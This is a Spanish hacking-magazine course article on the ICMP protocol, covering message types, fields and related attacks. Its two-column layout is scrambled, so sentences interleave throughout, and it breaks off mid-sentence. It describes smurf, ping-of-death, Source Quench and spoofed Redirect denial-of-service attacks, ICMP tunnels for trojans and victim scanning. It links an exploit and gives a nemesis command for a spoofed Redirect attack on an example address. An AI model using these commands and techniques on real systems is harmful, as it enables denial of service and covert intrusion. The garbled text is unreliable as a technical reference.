  • 21. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP 2.2. Tiempo excedido (Time determinado, y este valor se irá Exceeded) decrementando en cada router por el que pase el paquete. Como podemos ver, la cabecera de este mensaje consta de los mismos campos Así, si por ejemplo un paquete tiene un que el mensaje anterior: TTL = 3, el primer router que reciba el paquete modificará este valor haciendo TTL=2, y reenviará el paquete al próximo router del camino entre el origen y el destino. En caso de que un paquete con TTL=0 Para explicar la utilidad de este mensaje llegue a un router, significará que el vamos a ver mejor los campos que lo paquete no ha podido llegar a su destino forman. en un plazo limitado, por lo que el router tendrá que responder al transmisor del Campo: Type mensaje con un ICMP de tipo Time Exceeded, y Code 0. Para este tipo de mensajes, su valor ha Code 1: Tiempo de reensamblaje de ser 11, en decimal, por supuesto. superado. Campo: Code Otra situación en la que un paquete puede “caducar” tiene relación con la En este caso sólo existen dos posibles fragmentación que ya mencioné antes. valores, ya que este mensaje puede ser enviado por dos motivos diferentes: Como dije, un paquete demasiado grande Code 0: Tiempo de vida superado. puede ser dividido en fragmentos para facilitar su transmisión. Los fragmentos Como veremos a lo largo del curso, en irán llegando al destino en cualquier orden, la cabecera IP existe un campo TTL y éste se encargará de reensamblar el (Time To Live) que permite limitar el paquete. Por supuesto, hay un límite de número de routers que atravesará un tiempo por el que estará esperando el paquete para llegar a su destino. destino a que le lleguen todos los fragmentos, para evitar quedarse Si no limitásemos este número de saltos, esperando indefinidamente en caso de se podría dar el caso de que un paquete que haya habido algún problema de quedase circulando para siempre en la transmisión. red en caso de que algún router mal configurado produjese un bucle cerrado Si un paquete que está en proceso de en el que los paquetes van de un router reensamblaje no se completa en un tiempo a otro sin sentido, sin llegar jamás a su determinado, se enviará un mensaje ICMP destino. de tipo Time Exceeded, y Code 1, indicando que no se ha podido completar Cada paquete IP llevará, por tanto, un el reensamblaje del paquete. campo TTL con un valor numérico PC PASO A PASO Nº 23 Página 21
  • 22. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP Trazado de rutas mediante Time reenviándolo, por lo que el paquete llegará Exceeded al próximo router, R2. En cambio, en este segundo router ocurrirá lo mismo que Posiblemente habréis utilizado alguna antes, pues se encontrará con un paquete vez la conocida herramienta traceroute. con TTL=0 que no podrá reenviar, por lo que tendrá que responder con un ICMP Como sabréis, esta herramienta permite Time Exceeded Code 0. conocer todos los routers que existen en el camino entre un origen y un destino. Esta herramienta funciona precisamente gracias a los mensajes ICMP de tipo Time Exceeded, concretamente a los de Code 0. Este proceso continuará, incrementando en uno cada vez el valor de TTL, hasta Lo que hace traceroute es empezar que finalmente sea el host de destino enviando un paquete cualquiera al destino el que nos responda: que queremos trazar, pero utilizando en el paquete un TTL=1. En cuanto este paquete llegue al primer router que haya en el camino entre tu máquina y la máquina de destino, este router decrementará el TTL, por lo que lo dejará Como vemos en la imagen, el host de en TTL=0. Al no poder reenviarlo, ya destino no nos responderá con un Time que el tiempo de vida del paquete ha Exceeded, ya que el paquete sí que ha expirado, tendrá que enviar un ICMP podido llegar hasta él antes de expirar. Time Exceeded Code 0 en respuesta. En lugar de eso, nos responderá con otro mensaje ICMP, de tipo Echo Reply, que veremos más adelante. Esto se debe a que los paquetes que va enviando traceroute son en realidad mensajes ICMP de tipo Echo Request. Como ya he dicho, más adelante comprenderemos Este paquete contendrá como IP de de lo que estoy hablando. origen la del router que lo generó (R1), por lo que conocemos así ya la IP del 2.3. Problema de parámetros primer router que nos hemos encontrado (Parameter Problem). en el camino. Este mensaje se envía cuando algún A continuación, traceroute enviará otro parámetro de la cabecera IP tiene un paquete similar, pero con un TTL=2. El valor incorrecto, siempre y cuando no sea primer router del camino, R1 (cuya IP un campo que tenga ya otro mensaje ya conocemos), decrementará el TTL, ICMP específico para notificar el error. pero al ser ahora el TTL=1, podrá seguir Página 22 PC PASO A PASO Nº 23
  • 23. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP Este es el formato del mensaje: Destruyendo firewalls Como comentario sobre este tipo de mensaje ICMP comentaré un exploit para una aplicación en concreto, que siempre puede ser interesante. Campo: Type La aplicación no es ni más ni menos que Gauntlet Firewall, un firewall de El valor en este caso es 12. Network Associates, la compañía del famoso (y bastante triste) antivirus Campo: Code McAffee que, por cierto, hace poco Aunque el RFC sólo especifica un posible apareció la noticia de que es posible que valor para este campo, en realidad pueden Microsoft compre también esta compañía. ser implementados otros valores (como ya ha pasado con otros campos vistos El exploit que, por cierto, también afecta anteriormente). a otro producto de la misma compañía, Estos son los posibles valores: WebShield, aprovecha una vulnerabilidad de estos programas que da lugar a una denegación de servicio (DoS) con sólo enviar un mensaje ICMP Parameter Problem malformado. El valor más habitual es el Code 0. El exploit, y su explicación en En este caso, el campo Pointer indicará castellano los tenéis en: la posición de la cabecera IP en la que http://www.hakim.ws/ezines/RazaMexi se encuentra el error. Conociendo la cana/raza011/0x02.txt cabecera IP, podemos localizar el parámetro exacto cuyo valor es incorrecto. El Code 1 es usado cuando una 2.4. Calmar al transmisor trasmisión requiere opciones IP (Source Quench) adicionales, como las usadas por el ejército de los EEUU al utilizar Este mensaje es útil para implementar transmisiones seguras, en las que son un control de flujo rudimentario. Ya he requeridas ciertas opciones de seguridad explicado algo sobre el control de flujo a en los datagramas. lo largo del curso. Sobre el Code 2 no hay mucho que decir, Como su nombre indica, este mensaje ya que se explica por sí sólo. permite calmar al transmisor cuando está Campo: Pointer enviando demasiados paquetes, y estos no pueden ser procesados debido a la Si el campo Code tiene valor 0, este excesiva velocidad. campo especifica la posición en bytes dentro de la cabecera IP donde se Cuando un paquete no pueda ser encuentra el parámetro erróneo. procesado adecuadamente debido a la PC PASO A PASO Nº 23 Página 23
  • 24. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP saturación del buffer de recepción, habrá avisando así de que no da a basto. que notificar esta situación mediante un ICMP Source Quench. Cuando el Si estamos realizando un ataque de flood transmisor reciba uno o más Source y empezamos a recibir mensajes Source Quench, debe bajar la tasa de Quench de la víctima tenemos una buena transferencia para no seguir saturando prueba de que nuestro ataque está al receptor. funcionando. Este mecanismo es más efectivo si el Por otra parte, el Source Quench mismo receptor empieza a enviar los Source puede servir para realizar ataques DoS. Quench antes de que haya realmente Si enviamos mensajes Source Quench un problema, es decir, cuando esté cerca a la víctima le estaremos pidiendo que del límite, pero sin haberlo superado aún. limite su ancho de banda porque supuestamente nos está saturando. Si El formato del mensaje nos es ya muy conseguimos suplantar la personalidad familiar: de una máquina a la que esté conectada la víctima (mediante spoofing) podremos echar abajo esa conexión, limitando cada vez más el ancho de banda. 2.5. Redireccionar (Redirect) Este mensaje, bastante peligroso, se Campo: Type utiliza cuando un router R recibe un paquete que debe llevar hasta un destino, El valor es 4. pero se da cuenta de que existe un camino más corto hasta ese destino que no pasa por R. Campo: Code Ve a m o s p o r e j e m p l o e s t e c a s o : Aquí es siempre 0. Denegación de servicio y Source Quench Algunos de los ataques que he comentado aprovechando el protocolo ICMP son ataques de tipo Flood, es decir, ataques DoS que funcionan mediante un bombardeo masivo de paquetes. Es posible que un sistema que está siendo floodeado intente calmar al atacante enviándole mensajes ICMP Source Quench, pensando que el bombardeo no es malintencionado y, por tanto, Página 24 PC PASO A PASO Nº 23
  • 25. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP La máquina H1 envía un datagrama al Veamos el formato del mensaje: router R1 para que lo transmita hasta la máquina H2. El router R1 mira en su tabla de enrutamiento y descubre que para llegar a H2 tiene que pasar primero por R2. Analizando las direcciones de R2 y H1 deduce que ambos pertenecen a la misma red, por lo que H1 podría Campo: Type acceder directamente a R2 sin necesidad de pasar por R1. El valor es 5. Campo: Code Si no notificase esta situación a H1 toda la comunicación entre H1 y H2 seguiría De nuevo, tenemos varios posibles valores el siguiente camino: para este campo: El segundo caso, Code 1, es el explicado en el ejemplo anterior. El Code 0, es lo mismo, pero en lugar de tratarse de un host de destino se trata de toda una red. Para el Code 2 y el Code 3 hay que Mientras que si avisa de esta situación anticipar de nuevo algo sobre el protocolo mediante un ICMP Redirect, podría IP, que aún no hemos visto. ahorrarse un salto en el camino yendo de forma más directa: Uno de los campos de la cabecera IP es el TOS (Type Of Service), o Tipo de Servicio. Este campo permite definir diferentes servicios en función del ancho de banda, fiabilidad, e interactividad que requieren. Por ejemplo, un servicio de transferencia de archivos requiere mucho ancho de banda pero poca interactividad, mientras que un servicio de terminal remota (como un telnet) generalmente necesitará poco ancho de banda, pero mucha interactividad. Todo esto ya lo veremos en detalle cuando hablemos del protocolo IP. PC PASO A PASO Nº 23 Página 25
  • 26. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP En ciertos casos, un determinado router legítimo) de tipo Redirect, en el cual el puede estar más dedicado a transmitir campo Gateway Internet Address cierto tipo de servicio, por lo que se puede contenga la propia dirección IP de la optimizar la comunicación utilizando los víctima. caminos adecuados para cada caso. Si la víctima es vulnerable a este ataque, El RFC 1349 da detalles sobre el campo desde que reciba el paquete de Super T O S y s u r e l a c i ó n c o n I C M P, Source Quench, redirigirá todo su tráfico concretamente con los ICMPs Redirect, hacia si mismo, dando lugar a un bucle y Destination Unreachable (donde infinito de tres pares de narices. vimos que los Code 11 y 12 también se refieren al tipo de servicio). El Super Source Quench es, por supuesto, un ataque de tipo DoS, pero gracias a los Campo: Gateway Internet Address paquetes Redirect de ICMP se pueden llevar a cabo todo tipo de ataques de lo Para los que aún no lo sepáis, un gateway más variopintos. Existen herramientas es lo que nosotros estamos llamando un para automatizar este tipo de ataques, router, por lo que este campo indica como WinFreez, que permiten realizar precisamente la dirección IP del router ataques DoS, ataques de suplantación al que queremos redireccionar el tráfico. man in the middle, etc, etc. En el momento que tienes el poder de redirigir el tráfico Por ejemplo, en el caso citado de una víctima hacia donde tú quieras los anteriormente, el router R1 enviaría un límites sólo los pone tu imaginación. mensaje ICMP Redirect donde este campo contendría la dirección IP del 2.6. Petición de Eco (Echo router R2. Request) Super Source Quench, y otras Este es uno de los mensajes ICMP más historias interesantes, aunque en principio pueda parecer tan simple que carezca de interés. Entre los mil usos ilegítimos que se pueden hacer de los mensajes ICMP Además de utilizarse en la herramienta Redirect, se encuentra el ataque traceroute, como ya vimos, es también conocido como Super Source Quench. la base del funcionamiento del famoso PING, ya que su función consiste A pesar de que su nombre pueda simplemente en solicitar a otra máquina confundirnos, este ataque no tiene nada que nos devuelva lo que le decimos, como que ver con el ICMP Source Quench, si de un eco se tratase. aunque sí que es cierto que, si bien un Source Quench puede ralentizar tu Un mensaje Echo Request contendrá conexión, un Super Source Quench lo unos pocos datos de muestra (por que hace es tirártela por completo. ejemplo, se suele usar el abecedario: abcdefghijklmnopqrstuvwxyz), y el host El ataque consiste simplemente en enviar que lo reciba debería responder mediante un mensaje ICMP spoofeado (para que otro mensaje ICMP diferente, que es el aparentemente provenga de un router Página 26 PC PASO A PASO Nº 23
  • 27. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP Echo Reply (lo veremos a continuación), mensaje concreto de Echo Request, para que contendrá los mismos datos de que el Echo Reply correspondiente pueda muestra (el abecedario de nuevo, por especificar a qué petición de eco en ejemplo). concreto está respondiendo. El campo Sequence Number simula de manera muy rudimentaria un número de secuencia TCP, siendo por tanto un n ú m e r o q u e s i m p l e m e n t e s e va incrementando con cada Echo Request para un mismo Identifier. Como vemos, el formato del mensaje es más complejo que el de los anteriores De nuevo, el estándar nos deja libertad tipos de ICMP. para que utilicemos este campo según las necesidades. Campo: Type Campo: Data En este caso el valor es 8. Este campo contiene los datos de muestra Campo: Code que queremos que nos sean devueltos, Siempre tomará valor 0. como cuando gritamos “Eco!” y nos vuelve la respuesta “Eco!...”. Campo: Identifier En lugar de Eco podríamos poner cualquier Este campo simula en cierto modo el otra palabra, como el ya mencionado comportamiento de los puertos UDP, abecedario. aunque de forma mucho más simple. Así que ya sabéis, cuando vayáis por la Simplemente es un número que sirve montaña y encontréis a un tío que está para identificar una “sesión” de mensajes berreando el abecedario de eco. “abcdefghijklmnopqrstuvwxyz”, no debéis asustaros, ya que sólo será un friki con Se usa por ejemplo cuando hacemos un una indigestión de mis artículos que habrá ping a una máquina, ya que siempre se terminado creyéndose que es un PC y hará más de un Echo Request a la está intentando hacer un ping misma máquina. Toda esta serie de Echo Sobre el mensaje Echo Request no voy Request que componen un ping tendrán a comentar nada de momento (en color normalmente el mismo valor en el campo rojo, me refiero , ya que comentaré Identifier. luego juntos los mensajes Echo Request Realmente, el estándar no exige ninguna y Echo Reply después de hablar sobre forma concreta de generar este campo, éste último. por lo que se deja un poco a las necesidades de cada aplicación. 2.7. Respuesta de Eco (Echo Reply) Campo: Sequence Number Este mensaje tiene exactamente el mismo Este campo, combinado con el anterior, formato, con los mismos campos. permite identificar unívocamente un PC PASO A PASO Nº 23 Página 27
  • 28. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP Todos los campos de la cabecera deben Como ya sabemos, todas las máquinas llevar una copia exacta de los campos de una red están interconectadas, por lo del mensaje Echo Request al que están que teóricamente todos los paquetes que respondiendo, excepto el campo Type, circulan por la red llegan a todas las que debe ser 0, que es el número máquinas de la red. Cada máquina tendrá asignado al tipo de mensaje ICMP Echo que ser capaz de discernir qué paquetes Reply. van dirigidos a ella y cuales no. Este es el motivo por el que un sniffer puede La invasión de los pitufos funcionar. No se puede hablar de ICMP sin hablar Lo que hace el sniffer es poner a la de una de las técnicas más clásicas para máquina en modo promiscuo, es decir, explotar este protocolo con fines poco hacer que recoja todos los paquetes, éticos, que es la conocida como “el pitufo”. aunque no sean dirigidos para esa Jejeje, bueno, ésta sería la traducción al máquina. Una máquina que no esté en castellano. En realidad el término “técnico” modo promiscuo sólo debería recoger dos es smurf. tipos de paquetes: los que van dirigidos a su dirección IP, y los que van dirigidos La técnica de smurf consiste en un ataque a la dirección broadcast. DoS basado en los mensajes Echo Por tanto, ¿qué pasaría si enviásemos un Request y Echo Reply, y que se puede mensaje Echo Request a la dirección llevar a cabo sin necesidad de ninguna broadcast de una red? Pues teóricamente herramienta especial, ni siquiera un todas las máquinas de la red tendrían software para manipular raw sockets que recibir ese mensaje y, por tanto, (como Nemesis o Hping, sobre los que enviar un Echo Reply en respuesta. hablaré al final del artículo), si no que Imaginemos que estamos en una red con basta con la herramienta PING que mil máquinas. Con sólo enviar nosotros podemos encontrar en cualquier sistema un mensaje, habremos recibido mil operativo. mensajes en respuesta... El ataque consiste exactamente en un ¿Qué pasaría entonces si enviásemos ese flood mediante mensajes Echo Reply Echo Request con la IP de origen generados por máquinas que no son la spoofeada para aparentar que quien del propio atacante, por lo que se hace manda el mensaje no somos nosotros, si bastante complicado para la víctima el no la máquina de nuestra víctima? encontrar al culpable. Pues, teóricamente, la víctima recibiría 1000 mensajes Echo Reply que no tiene Va m o s a v e r en qué consiste ni idea de dónde narices han salido. Sabrá exactamente: que las respuestas llegan de las máquinas Todas las redes tienen definidas una de la red que hemos utilizado, pero no dirección especial, que es la denominada podrá saber quién dio la “orden” a esa dirección broadcast. Esta dirección IP red de que le mandase los mensajes. especial está reservada para paquetes Si lanzamos varios Echo Request a varias que estén dirigidos a todas las redes diferentes, podremos conseguir que máquinas de la red, y no a una sola. llegue un auténtico bombardeo de Página 28 PC PASO A PASO Nº 23
  • 29. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP mensajes Echo Reply a la víctima, con Para evitar convertir nuestra red en una lo que podríamos llegar a saturar su amplificadora de ataques smurf, tenemos conexión. que configurarla para que las máquinas no respondan a mensajes ICMP dirigidos a la dirección broadcast. El ping de la muerte Que nadie se eche las manos a la cabeza diciendo: “¡Pero si el ping de la muerte está más pasado de moda que las patillas de Curro Jiménez!”. Es cierto que el ping de la muerte es un ataque que difícilmente puede funcionar hoy día, pero en su momento fue una auténtica “bomba” así que merece al menos una mención en este artículo en el que no sólo se trata la actualidad, si Como vemos en la imagen, lo único que no también la historia de ICMP. tiene que hacer el atacante es lanzar unos cuantos pings, uno por cada red Digo lo de “bomba” porque es importante que quiera utilizar como amplificadora diferenciar entre un DoS de tipo flood, del ataque, utilizando en cada uno la y un DoS de tipo nuke. dirección de broadcast, que es la que Un flood ya hemos visto lo que es: tirar vemos en la imagen. abajo un sistema a base de saturarlo con miles de paquetes. En cambio, un nuke Una dirección broadcast normalmente se es un ataque que también puede tirar obtiene poniendo un 255 en aquellos abajo un sistema, pero en este caso con bytes de la IP que puedan variar según sólo uno o unos pocos paquetes. el tipo de red, es decir, poniendo un 255 donde en la máscara de red hay un 0. Vimos un ejemplo de nuke al hablar del ICMP Parameter Problem, y un ejemplo Por ejemplo, para una red 192.168.1.1, de flood por ejemplo en la técnica de con máscara de red 255.255.255.0, la smurf mencionada anteriormente. dirección broadcast será 192.168.1.255. El ping de la muerte (ping of death), y sus variantes (como el jolt, o el IceNewk) En general, para una red de clase A es un ataque DoS de tipo nuke que habrá que poner un 255 en las 3 últimas explota una limitación de los sistemas cifras de la IP, en una red de clase B operativos, ya que estos suelen tener un 255 en las 2 últimas cifras de la IP, limitado a 65536 el tamaño máximo de y en una red de clase C un 255 sólo en paquete que pueden manejar. la última cifra de la IP. ¿Qué no sabéis de qué hablo? Pues esperad al próximo No confundamos este tamaño con la MTU, artículo del curso, que tratará sobre el ni con el MSS, ya que en este caso se protocolo IP. refiere al tamaño que puede manejar el PC PASO A PASO Nº 23 Página 29
  • 30. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP propio sistema operativo, y no el tamaño http://www.fi.upm.es/~flimon/ddos.pdf de los paquetes que se pueden transmitir Es un documento muy interesante y fácil a través de una conexión. de leer, en el que encontraréis también una descripción detallada del ataque smurf Como la MTU siempre será menor de que mencioné anteriormente. 65536 la forma en que se conseguía enviar el ping de la muerte era utilizando Antes de que me vaya más del tema, la fragmentación de la que ya hemos estaba diciendo que se puede aprovechar hablado. El ping de la muerte consistía un mensaje ICMP para pasar información simplemente en un mensaje Echo sin que un firewall se entere. Request de un tamaño mayor que el Si tenemos, por ejemplo, un troyano en que podía manejar el sistema operativo nuestro sistema, pero tenemos un receptor, que se enviaba fragmentado firewall, lo que no podrá hacer el troyano para que pudiese circular hasta su destino. es abrir un puerto TCP en escucha para Una vez en el destino, el sistema receptor que su controlador se conecte intentaba reensamblar el paquete remotamente a nuestra máquina para uniendo los fragmentos y, al encontrarse hacernos todo tipo de judiadas. con que el paquete era más grande de lo que podía manejar, el sistema Como los firewalls son cada día más directamente cascaba. comunes, los troyanos tienen que buscar otros sistemas más ingeniosos para poder Este problema fue “descubierto” en 1996, comunicarse con su controlador. Uno de y en 1997 la mayoría de los sistemas estos sistemas consiste precisamente en operativos ya disponían de parches para aprovechar los mensajes Echo Request arreglar este problema, pero.... ¿quién y Echo Reply. sabe cuántos sistemas pueden quedar ahí fuera sin parchear?... Como hemos visto, ambos mensajes contienen un campo DATA en el que se Túneles para pasar información a puede meter cualquier cosa... pues través de firewalls simplemente intercambiando mensajes de Echo que contengan todos los datos Un sistema que es utilizado por programas que queramos transmitir entre el troyano maliciosos, como troyanos, demonios de y su controlador, estos podrán realizar redes DDoS, o cualquier otra aplicación una comunicación bastante similar a la que necesite pasar información a través que podrían llevar a cabo a través de un de un firewall, es el crear un túnel puerto UDP. mediante mensajes ICMP. Otra historia es si el firewall filtra también ¿Qué os ha sonado muy raro eso de los los mensajes ICMP, pero en la mayoría demonios de redes DDoS? Jeje, he de los sistemas se deja abierto el Echo conseguido despertar vuestra curiosidad Request hacia el exterior, y el Echo una vez más soltando por ahí un término Reply desde el exterior, por lo que el raro como quien no quiere la cosa. troyano podría utilizar Echo Request para enviar sus datos, y el controlador del Pues si queréis saciar vuestra curiosidad troyano podría utilizar Echo Reply para podéis leer este documento en castellano: lanzar sus órdenes. Página 30 PC PASO A PASO Nº 23
  • 31. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP 2.8. Petición de Sello de momento exacto en el que el emisor del Tiempo y Respuesta de Sello Timestamp Request envió el mensaje. Este tiempo se mide en milisegundos de Tiempo (Timestamp transcurridos desde la medianoche Request y Timestamp Reply) Campo: Receive Timestamp Estos mensajes, al igual que los anteriores, también son una pareja. Este campo se generará en el mensaje Timestamp Reply. Especifica el El Timestamp sirve para medir los momento exacto en el que el receptor del tiempos de respuesta en una Timestamp Request (que, por supuesto, comunicación entre dos máquinas. El será el emisor del Timestamp Reply) mensaje Timestamp Request envía un recibió el mensaje Timestamp Request. dato con el instante en que el mensaje Campo: Transmit Timestamp fue enviado, y el mensaje de respuesta Timestamp Reply contendrá otros datos Este campo se genera también en el informando sobre el tiempo que tardó el mensaje Timestamp Reply. Especifica paquete en ser procesado, tal y como el momento exacto en el que el emisor veremos en breve. del Timestamp Reply envío el mensaje. Comparando este campo con el anterior podemos hacernos una idea del tiempo que se ha tardado en procesar los mensajes. Explotando sistemas de seguridad basados en el tiempo Campo: Type Muchos sistemas de seguridad dependen de la generación de números El tipo para el mensaje Timestamp pseudoaleatorios. Request es 13, y para el mensaje Timestamp Reply es 14. Un ordenador es una máquina totalmente determinista, por lo que es imposible Campo: Code conseguir que genere un número totalmente aleatorio, es decir, sin estar Es siempre 0 en ambos mensajes. basado en ninguna regla matemática que lo genere. Campos: Identifier y Sequence Number Lo que se suele hacer para simular esta aleatoriedad es aprovechar un parámetro Tienen el mismo significado que en el que está en permanente cambio: el caso de Echo Request y Echo Reply. tiempo. Campo: Originate Timestamp Los números pseudoaleatorios que genera un ordenador suelen estar basados en Este campo es generado en el mensaje una fórmula matemática que incluye como Timestamp Request. Especifica el PC PASO A PASO Nº 23 Página 31
  • 32. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP una de sus variables el tiempo exacto en directamente en red, y nada más arrancar el que se está generando el número (en necesitaban conocer la red en la que milisegundos, o cualquier otra medida). entraban. Esto permite que dos números generados consecutivamente con la misma fórmula El mecanismo consistía en enviar un den resultados diferentes. datagrama que tuviese ceros en las direcciones IP de origen y de destino Por tanto, el permitir que cualquier (Information Request). Este paquete, máquina nos pregunte la hora exacta al ser recibido por la máquina que se (con precisión de milisegundos) que encargase del asunto dentro de la red, tenemos en nuestra máquina, es facilitarle sería respondido con otro mensaje que en gran medida la explotación de sí que tuviese direcciones IP de origen y cualquier sistema que maneje números de destino (Information Reply). La aleatorios. Recordemos por ejemplo lo dirección IP de destino del Information que conté en el artículo sobre TCP acerca Reply sería la IP asignada a la máquina de los números de secuencia, y de las que la solicitó. graves consecuencias que tendría que un atacante conociese los números pseudoaleatorios que hemos utilizado para generar los números de secuencia en nuestras conexiones TCP. Ya conocemos el significado de todos los También conté algo sobre la adivinación campos, así que sólo hay que decir que de números pseudoaleatorios en el el campo Type para Information artículo sobre DNS de la serie RAW, así Request es 15, y para Information que a los aficionados a las matemáticas Reply es 16. El campo Code para ambos les recomiendo que le echen un vistazo. será 0. Buscando víctimas potenciales 2.9. Petición de Información y Respuesta de Información Uno de los usos más clásicos de ICMP (Information Request, e para fines oscuros es el de la detección de máquinas en una red, para apuntar Information Reply) víctimas potenciales. Esta nueva parejita de mensajes está en No he hablado de ello hasta ahora porque realidad obsoleta, ya que su funcionalidad el sistema más obvio y más común es ha sido sustituida y mejorada por otros utilizar simplemente un escaneo de sistemas, como BOOT o DHCP. pings que vaya recorriendo todas las posibles IPs para ver cuáles de ellas Al igual que en estos protocolos, el responden al ping. Cada IP que responda objetivo de estos mensajes es conseguir es una máquina que está funcionando en que una máquina entre en una red de la red y, por tanto, una víctima potencial. forma automatizada, es decir, sin conocer previamente la configuración de la red. Como este sistema es bien conocido por Este sistema era útil en estaciones de cualquier administrador que vigile trabajo sin disco que arrancaban mínimamente la seguridad, es fácil Página 32 PC PASO A PASO Nº 23
  • 33. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP encontrarse con sistemas que tengan Yo personalmente tengo abiertos sólo los cerrados los mensajes de Echo, por lo mensajes Echo Reply (para poder hacer que no responderían al Echo Request, ping y traceroute), Time Exceeded (para aunque la máquina estuviese vivita y poder hacer traceroute), y Destination coleando. Un escaneo de pings nos diría Unreachable (para poder hacer P-MTU- que esas máquinas no existen, ya que D, entre otras cosas). no han respondido a nuestra llamada. Si queréis asegurar de verdad vuestro Existen herramientas que aprovechan sistema o vuestra red os aconsejo que otros tipos de mensajes ICMP menos investiguéis bien el tema y lleguéis a comunes para hacer exactamente lo establecer una decisión sobre vuestra mismo, con la ventaja de que, al ser un política de seguridad con ICMP. mensaje poco conocido y, aparentemente inocente, es más probable que el 2.10. Otros mensajes ICMP. administrador no los haya cerrado en el firewall. Un ejemplo de estas Aunque el RFC 792 ni siquiera los herramientas es ICMPEnum, que utiliza menciona, existen otros tipos de mensaje precisamente no sólo Echo Request para ICMP definidos. Al no formar parte del hacer los escaneos, si no también estándar definido en el RFC, sólo nombraré Timestamp Request, e Information alguno de ellos por si os interesa buscar Request. información sobre alguno en concreto. Como ya hemos visto que los dos Personalmente, yo no me he encontrado primeros tienen otros problemas nunca con casi ninguno de estos mensajes potenciales de seguridad, quizá podamos ICMP, así que no sé hasta qué punto será tener suerte y encontrarnos con que el útil conocerlos. administrador ha considerado totalmente inofensivo el Information Request, y haya dejado aquí la puerta abierta que buscábamos. ¿Cuál es la conclusión que podemos sacar de este “comentario rojo” y de todos los demás? Pues, abreviando, que si queremos estar seguros lo mejor es cerrar en nuestro firewall CASI TODOS los mensajes ICMP. Como mucho, podemos dejar entrar los mensajes de respuesta (como Echo Reply), para poder hacer Como de costumbre, la lista completa de ping y traceroute nosotros desde números asignados a ICMP es mantenida nuestra máquina, pero pocos motivos por el IANA (Internet Assigned Numbers hay para dejar abiertos sus contrarios, Authority), y la podéis consultar en: los mensajes que, en lugar de http://www.iana.org/assignments/icmp- respondernos, nos preguntan a nosotros parameters desde fuera. PC PASO A PASO Nº 23 Página 33
  • 34. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP Buscando huellas He dejado para el final esta técnica que es en realidad una de las que dan más utilidad a ICMP a la hora de encontrar información sobre un sistema para un posible ataque. Lo he dejado para el final porque es una técnica que está relacionada no con uno sólo, si no con muchos tipos de mensajes ICMP. La técnica conocida como OS Fingerprinting consiste en analizar las reacciones de un sistema ante distintos tipos de mensajes ICMP y, conociendo cual es la reacción de cada sistema Aquí vemos que ante un mensaje ICMP operativo conocido, poder realizar así TimeStamp Request a la dirección una comparación que nos lleve a deducir broadcast de una red, podemos obtener qué sistema operativo está corriendo en información precisa sobre el sistema la máquina que estamos analizando. operativo, siempre que la máquina Hay una panda de chiflados (con cariño) responda con un TimeStamp Reply. que se dedican a hacer tablas que reflejan el comportamiento de cada sistema ante En caso de que no responda, se cada tipo de mensaje, aunque no llegan considerará (de momento) un SO a estar tan chiflados como para tratar desconocido, y habrá que hacer otras de usar es información a palo seco... lo pruebas similares. que hacen es introducir toda esta información en una aplicación que Si ha respondido, tenemos 3 posibles automatiza la tarea de comparar las SOs: HPUX 10.20, Sun Solaris, o Linux reacciones del sistema con la información Kernel 2.2.x. En ese caso, habrá que conocida sobre cada sistema operativo. continuar con la prueba, haciendo ahora un Information Request a la dirección La más conocida de esas aplicaciones es broadcast. Si responde, ya sabemos que NMap, de la que ya hemos hablado se trata de un HPUX 10.20. Si no bastante en la revista. Nmap contiene responde, habrá que continuar probando, gran cantidad de información sobre las esta vez con un Address Mask Request reacciones de cada SO ante (uno de los ICMPs que no hemos visto). determinados paquetes, y utiliza esta Si responde, se trata de un Sun Solaris, i n f o r m a c i ó n p a ra h a c e r u n O S y si no, de un Linux Kernel 2.2.x. Fingerprinting, es decir, para deducir cuál es el sistema operativo de la máquina Esta información también se puede que estamos analizando. mostrar en tablas más complejas, como ésta, que muestra el valor del campo TTL Para que os hagáis una idea del tipo de que usa cada sistema operativo al enviar información de la que estoy hablando, mensajes ICMP de Echo: podemos mostrar por ejemplo este árbol: Página 34 PC PASO A PASO Nº 23
  • 35. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP -P : permite especificar un archivo con los datos, por ejemplo para un Echo Request. -G : permite especificar el campo Gateway Address para los mensajes Redirect. Como ya he dicho, esta información no -qE : inyecta un paquete de Echo. nos hace falta conocerla, ya que viene -qU : inyecta un paquete Destination automatizada en herramientas como Unreachable. Nmap, o Xprobe, pero si queréis -qX : inyecta un paquete Time información detallada y tenéis los Exceeded. c*j*n*s... como los de un toro, podéis -qR : inyecta un paquete Redirect. leeros la biblia del ICMP, que la tenéis en -qT : inyecta un paquete Timestamp. h t t p : / / w w w . s y s - security.com/archive/papers/ICMP_Sca Si, por ejemplo, queremos lanzar un nning_v3.0.pdf . ataque Super Source Quench a la IP 192.168.2.2 para cortar su conexión TCP 3. RAW Sockets ICMP con la IP 215.22.69.22, podríamos hacer: Para terminar, volvemos con nuestros nemesis icmp –i 5 –c 1 –G 127.0.0.1 amigos Nemesis y Hping para jugar esta –v –b 192.168.2.2 –B 215.22.69.22 vez con el protocolo ICMP. –D 192.168.2.2 –S 215.22.69.22 –p 6 Existen herramientas dedicadas para explotar el protocolo ICMP, como algunas El parámetro –i 5 especifica que se trata de las ya mencionadas, o la herramienta de un mensaje de tipo Redirect, que SING (Send ICMP Nasty Garbage), pero sería como utilizar la opción –qR. El por no romper la tradición vamos a seguir parámetro –c 1 especifica 